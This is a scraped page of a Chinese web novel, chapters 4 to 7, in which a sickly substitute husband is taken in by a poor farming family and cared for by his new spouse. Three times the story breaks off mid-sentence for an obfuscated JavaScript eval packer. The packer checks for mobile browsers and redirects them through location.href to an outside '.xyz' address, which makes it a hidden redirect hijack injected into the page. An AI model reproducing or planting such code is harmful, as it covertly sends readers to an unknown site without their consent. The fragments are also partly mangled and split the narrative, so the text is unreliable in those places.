刘老太太指使儿媳：“老二媳妇儿，还不赶紧将那病秧子给我绑了！” “哎！”崔玉兰得了命令，扭身进灶房翻了指头粗的麻绳出来。 阮秀莲瞧了眼，没出言阻拦。 公婆是个贪财的，虽是为了银子说出这番话，但话糙理不糙，亲事不要也罢，这口恶气非出不可！ 宋听竹掩唇轻咳，心中只觉得自己要解脱了，他这身子怕是不等回到宋家，便已经一命呜呼。 如此也好，省得再受病痛折磨。 今日天气大好，宋听竹微微扬起下巴，眺望远处余晖。 只是还没瞧上几眼那绚烂的美景，就被一道高大的身影遮挡了去。 “俺看谁敢！” 刘虎生得人高马大，立在门前将宋听竹整个人都笼罩了去。 他虎着脸，一双黑眸死死盯着二婶崔玉兰。 崔玉兰被吓唬住，随即想起自个儿这个侄子，平日里就是个嘴笨的憨货，又壮起胆子来。 “个憨货还护上了，这病秧子可不是你媳妇儿。” 刘虎充耳不闻，语气硬邦邦：“拜了堂就是俺媳妇儿，啥宋家大小姐，俺不要，俺就要他。” 宋听竹心中毫无波澜，却在刘虎说这话时，忍不住抬眸将目光落在汉子身上。 4. 认下婚事 刘翠娥跳脚：“你敢！放着好好姑娘家不要，偏要个半死不活的病秧子，傻了不成！” 这病秧子就是个不受宠的庶出子，宋家没人待见，嫁过来非但半点油水捞不到，没准还得出钱给人买棺材，这赔本买卖，傻子才干！ 然而刘虎倔得似头驴，任凭刘翠娥怎么哭闹，双腿扎了根一般，立在宋听竹身前寸步不离。 刘翠娥不满孙子为个病秧子跟自己作对，指着缩在后头闷咳的人，骂的一声比一声难听。 刘大生一家子也没少遭骂，老婆子拍着大腿哭嚎，直说老大一家不孝顺，早知如此，就该把亲事换给老二家喜福，喜福打小是个机灵的，宋家瞧见指定满意，到时少不得给那宋家大小姐包上几百上千两银子，敲锣打鼓把人送进门！ 蒋媒婆听了白眼翻得比天高。 呸！癞虫合蟆想吃天鹅肉，想得美！ 那刘喜福她方才瞧见过，长得跟个窝瓜似的，照刘虎样貌比，差了十万八千里，宋家就算没落了，也定然不会瞧上他。 大伙儿也都窃窃私语： “刘老婆子莫不是疯了，还真当自个儿孙子是块宝，人人都稀罕呢。” “就他刘老二生的孙子是宝，老大老三家可不是。” “也是，刘老婆子偏疼刘老二，当年分家那会儿，刘大生家连块田地都没得，只分到一间破泥屋。老三年纪小，泥屋都没有，给人五十文钱就将人打发了。你说这当娘的，咋就能偏心到这份儿上？” “早些年村里都传，刘老大跟刘老三不是刘老婆子的种呢！” 好好一场宴席搞得乌烟瘴气，刘家人脸色皆有些不好看，刘虎更甚，见刘翠娥还在骂，抬手抄起立在院墙下的扫把，粗声粗气道：“走！俺家不欢迎你们！” 刘翠娥吓了一跳，随即骂得更凶：“反啦真是反啦！孙子打奶，个不孝的，合该天打雷劈！老大、老大媳妇儿，这就是你们教的好儿子，教出来个不孝爷奶的，也该遭雷劈！让雷劈死你们一家子才好！” “娘……”刘大生沧桑的脸上，满是失望。 刘大生原本对他娘还有些期望，如今彻底寒了心。 “二十年前就分家了，凭啥还要我儿子孝顺你？！”阮秀莲胸脯剧烈起伏。 平日里被公婆骂几句权当没听见，今日是她儿子成亲的大喜日子，虽发生了替嫁一事，但也可以悄悄解决，现下被老太婆这么一闹，弄得人尽皆知，是存心想让家里成为村里笑话不成！ 刘翠娥又指着阮秀莲骂：“不敬公婆，雷来了第一个劈你！” 泥人还有三分塑性，阮秀莲被骂这么久，早就想还嘴：“我问心无愧不怕雷劈，谁亏心先劈谁。” 刘翠娥气得浑身发抖：“你！老大你是死得不成，还不快给我教训这……” 阮秀莲打断她：“猛子，你爷奶年纪大了，还不把人扶回去休息。还有二弟，家里好像没请你们一家子，虎子送客。” 刘二生仗着有爹娘撑腰，根本不把大哥大嫂放在眼里，皱着眉头刚要发难，就见刘虎举起一旁半人高的水缸，砰的一声砸在地上。 刘翠娥离得近，险些被碎陶片伤到，登时吓得缩紧脖子不敢吭声。 刘虎黑着脸，一副凶相地盯着刘老二一家。 刘二生被盯得直发怵，瞄了眼地上四分五裂的水缸，腿抖得如筛糠，他吞了口唾沫，话都不敢多说一句，忙扯着一大家子溜了。 刘翠娥走后，院子里顿时清静下来。 来了来了！ 大伙儿兴致勃勃，都等着瞧刘家怎么处理替嫁这事儿。 阮秀莲没将人撵走，左右已经闹开，留下也省得日后在村子里胡乱编排。 刘猛媳妇儿唐春杏见婆婆不说话，还当默认了这门亲事，急切道：“娘，您可不能犯糊涂啊，这宋家二少爷身子娇贵，咱哪养得起。” 一身草药味儿，怕不是天天都得喝汤药的主儿，家里为给二弟娶妻，拉下不少饥荒，再留下个病秧子，还是个不受宠的，往后日子更是没得指望。 她转着眼珠子，压低嗓门道：“二弟还年轻，可不能让他将一辈子搭在个病秧子身上，那小少爷身子这么弱，也不知道能不能生，若是不能，二弟岂不是要绝后？” 怕说服不了婆婆，又把小叔子拉了出来。 几个孩子是阮秀莲软肋，一听老二可能绝后，脸色顿时更差。 她对着蒋媒婆道：“退亲，宋家我们刘家高攀不上，人你们领回去，聘礼如数还来。替嫁这事儿宋兴安也得给个说法，这亲事也不是我们上赶着要结的，他宋兴安要不愿意大可作罢，何必使手段算计！” 蒋媒婆拿帕子擦着指甲，语气漫不经心：“我只管将人送到，何况都拜过堂了，谁晓得你家儿子对我们二少爷做了什么，我们好好的小哥儿嫁进你们刘家，成亲第二日就把人送回来了，这往后二少爷还要不要做人了。” 刘猛额头冒出青筋：“血口喷人！我二弟连你们少爷一片袖子都没碰着！” 蒋媒婆道：“你说没碰着就没碰着，要不咱上府城让知府大人评评理？” 赤/裸/裸的威胁，听得大伙儿倒吸一口凉气。 寻常村户人家，连县老爷都没见过，更别说知府大人，得知那宋家竟跟知府大人有关系，顿时没了瞧热闹的心思，不过片刻，人便散了个干净。 刘家人心有怨气，无处发泄，憋得脸色铁青。 此时，蒋媒婆又换了副面孔，拍着阮秀莲手背，语气宛若对待好姐妹。 “妹子，姐跟你说句推心置腹的话，宋家有权有势，不是咱们这些小老百姓能惹得起的，你们想要讨说法，依着宋家在府城的势力，只怕连城门都进不去。何况眼下亲事已成，妹子即使再不愿意，也得打碎了牙往肚子里咽。” 阮秀莲气到发抖，可也晓得自个儿斗不过宋家，只得照蒋媒婆说得那般，咽下这桩哑巴亏。 安抚完刘家，蒋媒婆领着一行人步伐轻快地离开云溪村。 天色已晚，刘家院子里一片漆黑，只灶房还剩点点火光。 阮秀莲扫了眼置办好的酒菜，心里直犯愁，刚要唤大儿媳挑拣些不易放的菜来吃，便听扑通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906328|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声——她那新迎进门的儿夫郎，直挺挺倒下了！ 耳旁一片嘈杂，那声响似是从格外遥远的地方传来，朦朦胧胧的叫人听不真切。 头脑昏沉、喉咙也痛得厉害，宋听竹用力眨了眨眸子，还是没力气将眼皮掀开，只能躺在那里，任由那尖锐的声音折磨耳朵。 “人都这样了还请啥大夫，不如喂点好的，让二弟夫郎过几天好日子，也省得再遭罪了，再说家里为了给二弟娶妻拉下不少饥荒，这节骨眼上哪有银钱给他瞧大夫抓药。” 唐春杏也不是不乐意给人治病，但人都咳血了还治个啥，不是白花银子吗。 刘猛朝媳妇儿瞪起眼睛：“你这是说的啥话！二弟已经把人认下了，往后他就是咱家人，是咱弟夫郎。” 阮秀莲捏着布包犹豫不决。 老大媳妇儿话说得难听，却也实在，家里确实没几个钱了，可到底是一条人命，又跟她家老二拜了堂，哪能真瞧着人自生自灭，况且这人活着，就断然没有不治的道理。 “治！”阮秀莲一咬牙，从布包里数出二十个铜板，递给二儿子。 刘虎接过来，一阵风般跑出院子，不过一刻钟，便将住在村头的赤脚郎中请了来。 老郎中上了年纪腿脚不好，是被刘虎背来的，汉子跑得急，一路上险些将他这把老骨头颠散架。 梁老心底原本还有些气恼，待见着喜床上奄奄一息的人，登时没了脾气，皱着眉头一番诊断，停下后捋着胡须摇了摇头。 “虎子夫郎这病是打娘胎里带出来的，治不好，想要活命只能用药材吊着。” 唐春杏心中咯噔一声，“意思是往后日日都得用汤药养着，不能间断？” 见梁大夫点头，唐春杏直接抹着眼泪哭出声。 “这日子没法过了，明儿我就领着夏哥儿回娘家，虽是要瞧兄嫂脸色，但好歹还有口热汤喝。” 阮秀莲被大儿媳哭得心烦意乱，没好脸色道：“今儿就回，让猛子送你，省得在家里陪着一起吃糠咽菜。” 见婆婆动了怒，唐春杏退回自家男人身后，抽噎着不敢再吭声。 她方才只是发发牢骚，哪敢真走，女子小哥儿嫁了人，除了逢年过节，轻易不回娘家，她年前不久刚回，这还没几天又回，少不得被人私下里编排。 这头梁老郎中挎上药箱要走，晓得刘家困难，连诊断费都没要。 临走前还好心提醒：“不行你们到镇上医馆请个坐堂大夫瞧瞧，说不准能治。” 送走梁老爷子，唐春杏又忍不住说嘴：“娘，不是我冷血，不愿给二弟夫郎瞧病，可也得看看家里情况不是，梁老爷子就算了，他一个赤脚郎中，从他那抓药花不了几个铜板，镇上医馆可就不一样了，一服药少说四五文，一月就是百十文，都快赶上猛子给人做工赚得银钱了！” “咳咳——” 宋听竹耐不住喉咙里的痒意，咳出声。 屋子里顿时没了动静，这时一直未开口的刘虎，皱着浓眉道：“抓药的银子俺自己出，这钱就当俺借娘的，明儿俺就去镇上找活干。” 5. 俺不后悔 阮秀莲瞪儿子一眼，责怪道：“啥借不借的，都是一家人说这话干啥。” 家里男丁少，刚分家那阵子日子不好过，两孩子丁儿点大，就得跟着大人学做活，夏时割猪草、冬时捡干柴，小小年纪愣是磨出一手老茧来。 老大老二她跟当家的一样疼，老大媳妇生夏哥儿时难产，大把的银钱撒出去才救回一条命，外加月子伺候得好，这才生龙活虎的。 她拿出半角银子，扭头见老大媳妇还想说啥，冷下脸道：“当年你生产那阵子，家里可没少给你花银钱，” 又转身叮嘱二儿子：“去村长那借个牛车，夜里不好走，路上当心着些。” 刘虎点头：“知道了娘。” 刘猛道：“我陪二弟一起去。” 阮秀莲：“成，多个人安全。夜里风大，记得带张毯子。” 兄弟俩回屋取了毯子，匆匆出了门。 莲溪镇离着村子不远，若是赶牛车小半个时辰便能到，只是眼下酉时已过，镇上大部分医馆早已关门歇业，两人跑遍莲溪镇才寻到一位大夫，话都来不及说上几句，又架着牛车匆匆回了村子。 “大哥跟二哥回来了！”刘小妹一直注意着外头动静，瞧见牛车进院，激动得双颊微红。 唐春杏瞥见牛车上下来一位中年大夫，诧异道：“咋这么年轻，别不是把医馆学徒请来了！” 刘大生夫妇俩心里也直打鼓。 周守义见惯了这表情，也不在意，只提着药箱问：“病人在哪儿？” “俺媳妇儿在屋里头呢，周大夫您赶紧来给瞧瞧。” 屋内宋听竹已经醒了，只是身子乏得厉害，睁眼睛的力气都使不出来，外头脚步声由远及近，接着便是开门关门。 一行人携着寒风步入室内，冷得人不由打起寒战。 然而下一刻，身上便被盖上一张带着温度的毯子。 “媳妇儿，俺给你请大夫来了。”刘虎轻轻抓过他手腕，侧过身让大夫诊断。 周守义虽年轻，但也是跟着师傅正经学过的，早几年还去府城闯荡过，只是鲜少有人知道，更别提刘家这种凭年龄断经验的村户人家。 他闭着眼，心无旁骛地把着脉，眉头时而皱起，时而舒展。 这模样瞧在唐春杏眼里，不像个正经大夫，倒像个胡乱掐算的神棍！ “你跟二弟请来得大夫靠谱不，这都瞧半刻钟了一点反应都没有，睡着了不成？”她问自家男人。 唐春杏是个大嗓门，她自己觉着声音不高，旁人可听得一清二楚。 阮秀莲斜了眼大儿媳，心里暗骂了句没眼色，随即便听周大夫开口：“你夫郎这脉象瞧着不像是病。” 除刘虎外，一家人面面相觑。 人都病成这样了，咋还说不是病呢？都咳血了，总不能是装的吧！ 刘虎没啥心眼，听不明白就问：“周大夫，您这话是啥意思？” “脉象跳动不齐，忽快忽慢，且伴有暂时停止的现象，似雀儿啄食，此乃中了慢性毒药的脉象。” “中、中毒？”阮秀莲双腿一软，“怕不是诊错了，咋可能中毒呢。” 人好端端养在宋府，才来家一日就中了毒，传出去他们刘家非得被唾沫星子淹死不可。 刘猛跟唐春杏也慌了神，一向话少的刘大生，站出来说：“大夫，您再给诊断诊断，十里八乡就没见过中毒的，定是诊错了。” “那我再瞧瞧。” 周守义又重新给把了脉，这回没再提中毒的事儿，只言这病他也无能为力，最终只开了个温养方子，缓解病痛。 一服药三文钱，一日两服，一月下来便是一百八十文，唐春杏心里滴血，忍不住嘀咕：“啥坐堂大夫，我瞧着还不如咱村里的赤脚郎中本事大。” “咋说话呢。” 阮秀莲也觉着打镇上请来的大夫没发挥上作用，只随口教训了句，便让兄弟二人将人送回镇子。 夜里落起雪，二人顶着风雪到家，刘虎不顾身上积雪，拎着药包直接去了灶房。 瞥见阮秀莲进门，说道：“娘，你们去睡吧，俺留下照顾媳妇儿。” 阮秀莲道了声好，“锅里温着饭菜，记得吃。我跟你爹和嫂子吃过了，你哥那头也留了饭，不用惦记。” 刘虎点头，宽厚的背影瞧得阮秀莲鼻头直泛酸。 她家老二打小就没过过好日子，猛子小时还吃过几回白面馒头，老二跟老三连白面馒头是啥滋味都不晓得，如今拖到二十才娶亲，本想着家里虽穷，但都是踏实肯干的，日子定会一日比一日好，可谁料那黑心肝的宋兴安竟把人调包了去。 “娘？” “哎。”阮秀莲擦擦眼角，“陶罐里煨了些白米，你夫郎一直昏睡着也没法子喂，待会儿要是醒了，一起端给他喝。” 刘虎听了，露出憨笑。 “谢谢娘。” “谢啥，明儿还得早起，忙活完赶紧歇息。” 刘家住着泥屋，除了阮秀莲夫妇住的正屋稍大些，东西屋都小的可怜。 小妹刘灵芝原本跟着刘虎睡，两张床板中间扯着布帘，就是个小房间了，但为给新进门的嫂子腾地方，小丫头抱着布帘搬去了爹娘屋里头。 房子小不隔音，西屋里，宋听竹听着说话声停歇，缓慢眨了眨眼睛。 喉咙干痒的厉害，瞥见床边矮凳上搁着陶碗，有些费力地撑起胳膊，倾身去够。 许是药效还没完全褪去，指尖刚碰到碗沿便没了力气，又扑通一声摔回床上。 “媳妇儿！” 刘虎端着汤药进门，见状大步上前，敦厚的脸上满是紧张。 “我咳咳、我没事。” 宋听竹面无血色，哪里像没事的样子，刘虎直勾勾盯着他，直到把宋听竹盯得偏过头不去看他，这才收回目光。 “咕噜——” 宋听竹怔了下，意识到是什么在叫，下意识捂着肚子，揪紧被单。 一整日粒米未进，早已饥肠辘辘，这会子闻见米香，口中涎水泛滥，肚子也不争气地叫出声。 他抿着唇瓣，脸颊上泛起一丝红晕，瞧着倒比方才多了些生气。 “傻子，一直站着做什么？” 刘虎从没见过这么好看的人，一时间看痴了，听见宋听竹问话，才回过神来。 “俺是来给你送药的。” 他左手端着药碗，右手端着米粥，想起娘说的话，先将右手的米粥递了过去。 宋听竹没接，靠着床头，虚弱无力道：“我没力气。” 汉子憨厚老实的面孔上露出为难的神情，宋听竹正犹豫要不要说得再明白些，就见对方有了行动。 刘虎将药碗放在矮凳上，高大的汉子往床上一坐，衬得宋听竹无比娇小，接着舀起一勺熬得软烂的米粥，稳稳当当递到宋听竹唇边。 “俺喂你。” 因常年在地里劳作，刘虎身上脸上是农户人特有的深褐色，瞧着就健康。 宋听竹久居别院，时常见不到日光，两相对比，越发显得他瘦弱不堪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906329|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>被人喂着咽下最后一口白粥，一碗散发着苦味的黑褐色汤药，出现在眼皮子底下。 他眉头轻蹙，稍稍往一旁别开了脸。 他一向不爱喝药，每每到了喝药的时辰，都要人哄着才肯，如今离开宋家，身旁再没有嬷嬷他们跟着，也就没人会哄他喝药了。 想到此处，又默默转过脸。 刘家本就不富裕，为了给他抓药又浪费下不少银子，自己不是那不识好人心的，只是这药喝下去也无用，不过多撑些时日罢了。 想得多了些，刘虎见他发呆，当他跟小妹一样怕苦喝不下去，遂将碗一搁，转身到厨房冲了碗红糖水。 宋听竹不知他突然出去作甚，捏着鼻子一鼓作气将汤药喝净，抬头便瞧见汉子端着一碗糖水进了屋。 刘虎端着陶碗，窘迫道：“家里没买饴糖，等过几日我跟大哥到镇上做工，捎带些回来。” 饴糖可是稀罕物，便是日子过得稍微富裕些的村长族老家，也不舍得日日买来吃，只逢年过节买上十几二十块，拿来充当个门面。 刘家往年也是买的，今年家里实在困难，便将银钱省下，买了价稍贱的红糖，本打算今儿席面上煮来给大伙暖身子，谁知这么一闹，压根没用上。 “没那么娇气。” 这些宋听竹自是不知，他喝过粥有了些力气，朝汉子伸手道：“给我吧。” 刘虎没动作，傻乎乎地望着他。 宋听竹嘴角牵起一丝笑意，“傻子，你这糖水难道不是要给我的？” 汉子闻言，赶忙将陶碗送上前。 宋听竹接过去抿了口。 里头红糖放得足，喝上一口嘴里的苦味儿便被冲淡不少。 他双手捧着陶碗没再动，见汉子不说话只盯着自己，解释道：“有些烫，放凉一些再喝。” 汉子便不再看他，到柜子里翻出一床略显单薄，但洗得干净的旧棉被，盖在他身上。复又回到柜子跟前儿，伸长胳膊在里头掏了掏。 须臾后，汉子拎着一串铜板在他面前站定。 “媳妇儿，这是俺这些年在镇上做工攒下的银钱，都交给你管。” 怕人不要，汉子直接将几十枚铜板塞进他掌心。 宋听竹顿了下，他垂下眸子，望着手里沉甸甸的铜板，眼眶蓦地有些泛酸。 一方小屋，有疼爱他的夫君，跟乖巧可爱的孩儿，这是他从小到大的梦想，后来变成了奢望，如今这梦想实现了一半，而他的生命也快要走到尽头。 老天是在同他开玩笑吗？ 既如此，又何必让活着的人徒生牵挂。 宋听竹指尖颤抖，铜板从他的掌心里滑落，碰洒了一旁装糖水的陶碗，黏腻的液体顺着指尖滴落，啪嗒一声重重砸在他心上，将他那不切实际的奢望彻底击碎。 屋内红烛尚未燃尽，宋听竹无力地靠在新婚夫君怀里，被人捏着手腕温柔擦拭着指尖。 “我没几日能活得了，娶了我你不后悔？” “俺不后悔，俺只知道你是俺媳妇儿，俺会努力赚银子带你去镇上瞧病的。”刘虎拧着浓眉，憨厚的面孔上写满了真诚与倔强，“周大夫跟俺说了，只要肯舍得银子，就一定能治好。” “傻子，我这病寻常大夫治不好。” “那就去府城，府城不行俺就带你去京都。” 宋听竹扯出一个虚弱的笑来，“我还没去过京都呢。” “日后俺带你去。” “好。” 只怕是没这个机会了…… 6. 一碗野菜粥 大雪歇了又落，眼瞅着是要下上一整夜才肯罢休。 云溪村不少百姓还住着泥屋，房顶是稻草盖的，怕承受不住半夜压塌，纷纷起夜到外头铲除积雪。 刘家两个年轻汉子也顶着寒风，将落得厚厚一层的积雪清理了去。 “行了，赶紧回去睡吧。”刘猛从梯子上下来，见二弟没进屋，反倒去了灶房，搓着胳膊问，“咋不进屋，去灶房做啥？” 灶膛里冒着零星火光，刘虎凑近了，边烤着手边回他哥：“俺身上寒气重，烤烤再进屋。” 刘猛嘿了声，打趣道：“这成了亲就是不一样，都知道心疼人了。” “那你烤吧，我先回屋睡了，明儿还得早起去张地主家上工呢。” 刘虎点头，待灶膛里那点火光熄灭，身上也烤得差不多了。 西屋里，宋听竹还未睡下，他侧过身对着墙壁，听见开门声，手指下意识揪紧了棉被。 这是他第一次同个汉子躺在一张床上，自从娘亲去世后，便是柳嬷嬷也没跟他这般亲近过。 身后汉子轻手轻脚爬上床，怕吵醒他，棉被也只搭了一个角。 宋听竹叹了口气，反手将棉被盖在汉子身上。 “这么冷的天儿只盖个被角，是打算把自己冻病不成？” 刘虎低声道：“俺怕吵醒你。” “醒了再睡就是。” 方才还只冒着一丝热乎气儿的被窝，汉子一进来立马变得暖烘烘，身旁的人似个大暖炉，热量源源不断送过来，让他有些昏昏欲睡。 “媳妇儿？” 小半刻钟后，刘虎轻轻唤了声。 见身旁人没有反应，撑起胳膊将烛火吹熄。 － 翌日是个大晴天，刘家人一早便起来将院子打扫得干干净净，吃过早饭刘猛离家去张地主那上工，刘大生跟刘虎父子俩，则去了镇上打算寻摸点活干。 阮秀莲跟大儿媳喂完鸡鸭，搬着小凳坐在院子里日头能晒到的地方做绣活，刘家小妹领着三岁的小侄儿，在一旁编草蚂蚱玩儿。 绣完一张帕子，唐春杏揉捏着酸痛的肩膀，朝西屋瞥了眼。 “娘，这竹哥儿咋还不醒，别不是出啥事儿了。” 阮秀莲听后紧忙呸了声，教训道：“年节还没过完呢，少说那晦气话！” 不过老大媳妇儿不提，她差点忘了家里如今多了个人。 “灵芝，去瞧瞧你嫂夫郎醒了没。” “哎！” 刘小妹将编好的草蚂蚱递给夏哥儿，自个儿提着裙摆去了西屋。 “嫂夫郎？”她小心翼翼叩了叩门，见里头没动静，又将耳朵贴上去。 “还没醒吗？”刘小妹小声嘀咕，刚要扭身走，就听屋里一道好听又略显虚弱的声音响起，“进来吧。” 屋内，宋听竹拥着棉被倚靠在床头，他面色依旧苍白着，唇瓣也不见血色，整个人瞧上去好似随时要羽化的仙人一般，没什么生气。 刘小妹推门进来，看见的便是这样一幅画面，小丫头十一二岁正是爱美的年纪，昨儿宋听竹盖头被风吹落，小丫头便被宋听竹的样貌迷了去，心里一直惦记着，这会儿见了人，心里是既紧张又激动，更多的是慌乱跟担忧。 嫂夫郎好像病得很重，手腕子瞧着跟自己差不多粗细呢。 宋听竹见小丫头一直盯着自己不说话，嘴角勾起一个浅浅的弧度。 “你是刘小妹吧。” “嗯。”刘小妹点头，黑瘦的脸上露出一抹害羞的红，“娘让我来瞧瞧嫂夫郎醒了没。” 宋听竹掩着唇瓣低咳一声，还未开口就听刘小妹“呀”的一声惊呼。 “二哥走前给嫂夫郎熬好了药，一直在灶头上温着呢，我这就去端，顺便给嫂夫郎把吃食送进来！” 说罢捏着裙摆急匆匆出了门。 小丫头动作快极，只片刻便将汤药端了来，顺便拿进屋的，还有一碗飘着菜叶子的稀粥。 宋听竹昨晚睡得好，今早起来身子有了些力气，连带着胃口也变好不少，端着陶碗用早饭时，余光瞥见刘小妹身后还跟着一个两三幼童，仔细一瞧是个小哥儿。 这应当是刘虎大哥的孩子夏哥儿了，昨儿昏睡时，迷糊间听见大嫂说要领着夏哥儿回娘家，如今看来是没走成。 “夏哥儿，你躲在我身后做啥？”刘小妹将人推到身前，对着宋听竹介绍，“嫂夫郎，这是夏哥儿，他胆子小怕生，绝对不是不喜欢你哦。” 小哥儿长得瘦小，身上裹着棉衣也能瞧出没有几两肉，只脸颊两侧坠着点，瞧上去软乎乎的可爱的紧。 见夏哥儿一直盯着陶碗瞧，宋听竹便问：“饿了？” 夏哥儿摇头，“不饿……” 声音小小的，望着宋听竹的目光，带着好奇跟探究，可刚说完不饿，小肚子便“咕噜噜”叫出声。 夏哥儿捂着肚子，不好意思地红了脸。 宋听竹笑着拍了拍床沿，“过来。” 夏哥儿一脸茫然，迈着小步子蹭到跟前，一勺带着米香味的稀饭便喂了过来。 他愣了下，随即吞咽着口水，奶声奶气道：“夏哥儿不饿，小叔么吃。” 刘小妹也劝：“这是娘特意给嫂夫郎熬的，而且夏哥儿早上已经吃过了。” 可是没有稀饭呀…… 夏哥儿年纪小不会藏心事，一双乌亮的眼睛直勾勾盯着陶碗，不停地吞咽着口水。 宋听竹原以为刘家饭食都一样，不想自己竟被特殊对待了去，他拧了下眉毛，柔声问夏哥儿早上吃了些什么。 夏哥儿掰着指头数：“野菜窝窝、野菜汤，还有肉肉，夏哥儿吃了两片哦！” 小哥儿眼眸亮晶晶，宋听竹却听得心里十分不是滋味，他将陶碗递给夏哥儿，揉着小哥儿的发顶，说：“小叔么吃不下了，浪费粮食可是不好的习惯，就拜托夏哥儿帮小叔么吃掉了。” “好～” 夏哥儿捧着粥碗吃得珍惜，搭在床沿上的小脚丫轻轻晃动，头顶的发髻也跟着晃了晃。 宋听竹抬手摸了摸，而后偏过头问刘小妹：“家里不是刚办了宴席，怎么会没有吃的？” 刘小妹道：“昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906330|160175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿大伙儿走得早，饭菜都没来得及上桌，娘怕人说嘴，今儿一早就让我跟大嫂将饭菜分了出去，只留了一些耐放的。” 小丫头瞧着他眼色，小声说：“家里银钱不多，娘说要留着买田种，这些菜得省着吃，等开春二哥找到稳定的活儿做，家里才能松快些。” 宋听竹点头，心想若是没有这桩婚事，刘家日子定然不会过得这般艰苦。 他虽一直被看管在别院，但也知晓农户人家生存有多不易，十两银子的聘礼对宋家来说不算什么，可刘家却要辛苦劳作上好几年，如今银子给出去，却换了个病秧子回来，换做自己也做不到半点怨言也无。 夏哥儿已经将小半碗粥吃完了，这会儿正在小心翼翼舔着碗底，宋听竹瞧得心里一阵柔软，忍不住又摸了摸小哥儿枯黄的发顶。 “菜粥好喝吗？” “好喝。”夏哥儿双眼眯成小月牙，“谢谢小叔么～” “不客气。” 躺了小半上午，闷得很，宋听竹望着窗棂，忽然想瞧瞧外头是个什么光景，昨儿那一场闹剧，吵得他头脑嗡嗡作响，哪里还能注意到别处，只记得晚霞很美，在浔阳还从未看过这么美的落日。 “小妹，帮我把窗子打开吧。” 刘小妹听了直皱眉，“不行，二哥说嫂夫郎身子还弱着，不能吹风。” 宋听竹道：“片刻就好。” 嫂夫郎实在太好看了，被那双漂亮的眼睛瞧着，刘小妹不自觉红了耳朵，她鼓了鼓腮帮子，竖起手指：“只能一小会儿哦，要是有风吹进来我就立马关上！” 宋听竹朝小丫头笑了笑：“好。” 阮秀莲婆媳俩正坐在院墙下做绣活，瞧见西屋窗子被推开，不赞同地皱起眉头。 “咋还把窗子敞开了，快关上。” “是啊，你嫂夫郎这身子本就不好，受了风再严重了少不得又要花银钱瞧病抓药。” “知道了。”刘小妹被训了一通，噘着嘴巴有些不高兴，正要将窗子关上，就听她嫂夫郎温声说，“娘、大嫂，是我让小妹敞开的，屋子里有些闷，敞开通通风。” 阮秀莲想起昨儿周大夫说不能老关着门窗，得不时让人透透气，于是便点头道：“成，老在屋里憋着，没病也要待出毛病来。灵芝，陪你嫂夫郎说说话，解解闷儿。” “哎。” 唐春杏阴阳怪气：“鸡舍还没打扫，哪有闲聊的工夫。” 阮秀莲瞥大儿媳一眼，“干啥非得指使小妹干，家里又不是没旁人了，刚才不是还说绣帕子累着眼睛了，正好去将鸡舍收拾了，也好歇歇眼睛。” 唐春杏拉下嘴角，不情不愿起了身。 小院儿重归平静，宋听竹瞧着外头景象，这才晓得刘家日子过得有多艰苦，小小一方院落，只有宋家一处杂间那般大。 他那新婚夫君还说要赚银子给他瞧病，宋家那般家大业大都没能将他医治好，何况住着泥屋，连片好瓦遮雨也无的刘家。 宋听竹捏着藏在枕头下的钱袋，本就没什么光彩的眸子，此刻犹如一潭死水，不见半点波澜。 7. 奶奶不能拿 晌午阮秀莲让大儿媳闷了糙米饭，又捡了昨儿剩菜端上桌，自个儿进灶房熬了白粥，煮了鸡蛋，唤小女儿端去西屋。 “娘，夏哥儿也想吃鸡蛋。”夏哥儿仰着小脸儿，揪着他娘衣角。 “吃什么吃。”唐春杏瞧了眼西屋，提高嗓门，“你一个乡下小哥儿也配吃鸡蛋？你小叔么跟你不一样，人家城里来的金贵着呢。” 阮秀莲在灶房里切腌菜，听见动静，朝院里骂道：“少在那怪里怪气儿，夏哥儿生病那会子家里可没少给他开小灶。” 唐春杏立即赔笑脸：“娘，我没别的意思就随口一说，您还不知道我，刀子嘴豆腐心，心里最是记挂着弟夫郎呢。” 这话不假，老大媳妇儿就坏在一张嘴上，心是好的，但也招人烦。 阮秀莲没再搭理，抬手招呼夏哥儿：“夏哥儿来，奶给你盛白粥喝。” “嗯！” 院里没了动静，西屋里刘小妹见他嫂夫郎没什么胃口，还当是被大嫂一番话气到了，见怪不怪地安抚道：“大嫂平时是爱说嘴了些，但她人不坏的，不管她说什么嫂夫郎你别往心里去，左耳朵进右耳朵出就是了。” 这些话宋听竹自小便听惯了，哪还会为这点事生气难受，只是单纯胃口不佳罢了。 勉强吃过半碗粥，又喝了药，昏昏沉沉一下午，再睁眼便瞧见刘虎不知何时回了家，这会儿正立在柜子前换衣裳。 